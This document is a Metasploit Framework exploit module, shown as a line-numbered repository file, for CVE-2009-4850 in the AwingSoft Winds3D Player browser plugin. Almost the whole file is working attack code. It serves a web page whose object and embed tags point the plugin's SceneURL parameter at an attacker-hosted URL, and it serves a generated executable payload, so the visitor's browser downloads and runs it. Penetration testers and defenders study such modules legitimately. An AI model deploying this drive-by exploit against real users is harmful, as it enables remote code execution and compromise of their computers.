root / modules / exploits / windows / browser / awingsoft_winds3d_sceneurl.rb @ master
History | View | Annotate | Download (2.6 kB)
| 1 |
##
|
|---|---|
| 2 |
# $Id$
|
| 3 |
##
|
| 4 |
|
| 5 |
##
|
| 6 |
# This file is part of the Metasploit Framework and may be subject to
|
| 7 |
# redistribution and commercial restrictions. Please see the Metasploit
|
| 8 |
# Framework web site for more information on licensing and terms of use.
|
| 9 |
# http://metasploit.com/framework/
|
| 10 |
##
|
| 11 |
|
| 12 |
require 'msf/core'
|
| 13 |
|
| 14 |
class Metasploit3 < Msf::Exploit::Remote |
| 15 |
Rank = ExcellentRanking |
| 16 |
|
| 17 |
include Msf::Exploit::Remote::HttpServer::HTML |
| 18 |
include Msf::Exploit::EXE |
| 19 |
|
| 20 |
def initialize(info = {}) |
| 21 |
super(update_info(info,
|
| 22 |
'Name' => 'AwingSoft Winds3D Player 3.5 SceneURL Download and Execute', |
| 23 |
'Description' => %q{ |
| 24 |
This module exploits an untrusted program execution vulnerability within the |
| 25 |
Winds3D Player from AwingSoft. The Winds3D Player is a browser plugin for |
| 26 |
IE (ActiveX), Opera (DLL) and Firefox (XPI). By setting the 'SceneURL' |
| 27 |
parameter to the URL to an executable, an attacker can execute arbitrary |
| 28 |
code. |
| 29 |
|
| 30 |
Testing was conducted using plugin version 3.5.0.9 for Firefox 3.5 and |
| 31 |
IE 8 on Windows XP SP3. |
| 32 |
},
|
| 33 |
'License' => MSF_LICENSE, |
| 34 |
'Author' =>
|
| 35 |
[ |
| 36 |
'jduck' # original discovery & metasploit module |
| 37 |
], |
| 38 |
'Version' => '$Revision$', |
| 39 |
'References' =>
|
| 40 |
[ |
| 41 |
[ 'CVE', '2009-4850' ], |
| 42 |
[ 'OSVDB', '60049' ] |
| 43 |
], |
| 44 |
'Payload' =>
|
| 45 |
{
|
| 46 |
'Space' => 2048, |
| 47 |
'StackAdjustment' => -3500, |
| 48 |
}, |
| 49 |
'Platform' => 'win', |
| 50 |
'Targets' =>
|
| 51 |
[ |
| 52 |
[ 'Automatic', { }],
|
| 53 |
], |
| 54 |
'DisclosureDate' => 'Nov 14 2009', |
| 55 |
'DefaultTarget' => 0)) |
| 56 |
end
|
| 57 |
|
| 58 |
def on_request_uri(cli, request) |
| 59 |
|
| 60 |
payload_url = "http://"
|
| 61 |
payload_url += (datastore['SRVHOST'] == '0.0.0.0') ? Rex::Socket.source_address(cli.peerhost) : datastore['SRVHOST'] |
| 62 |
payload_url += ":" + datastore['SRVPORT'] + get_resource() + "/payload" |
| 63 |
|
| 64 |
if (request.uri.match(/payload/)) |
| 65 |
return if ((p = regenerate_payload(cli)) == nil) |
| 66 |
data = generate_payload_exe({ :code => p.encoded })
|
| 67 |
print_status("Sending EXE payload to #{cli.peerhost}:#{cli.peerport}...")
|
| 68 |
send_response(cli, data, { 'Content-Type' => 'application/octet-stream' })
|
| 69 |
|
| 70 |
# Handle the payload
|
| 71 |
# handler(cli)
|
| 72 |
return
|
| 73 |
end
|
| 74 |
|
| 75 |
# otherwise, send the html..
|
| 76 |
html = %Q|<html>
|
| 77 |
<body> |
| 78 |
<object classid='clsid:17A54E7D-A9D4-11D8-9552-00E04CB09903' |
| 79 |
codebase='http://www.awingsoft.com/zips/WindsPly.CAB'> |
| 80 |
<param name="SceneURL" value="#{payload_url}#"> |
| 81 |
<embed type="application/x-awingsoft-winds3d" src="#{payload_url}"> |
| 82 |
</object> |
| 83 |
|
|
| 84 |
|
| 85 |
print_status("Sending #{self.name} HTML to #{cli.peerhost}:#{cli.peerport}...")
|
| 86 |
# Transmit the compressed response to the client
|
| 87 |
send_response(cli, html, { 'Content-Type' => 'text/html' })
|
| 88 |
|
| 89 |
end
|
| 90 |
end
|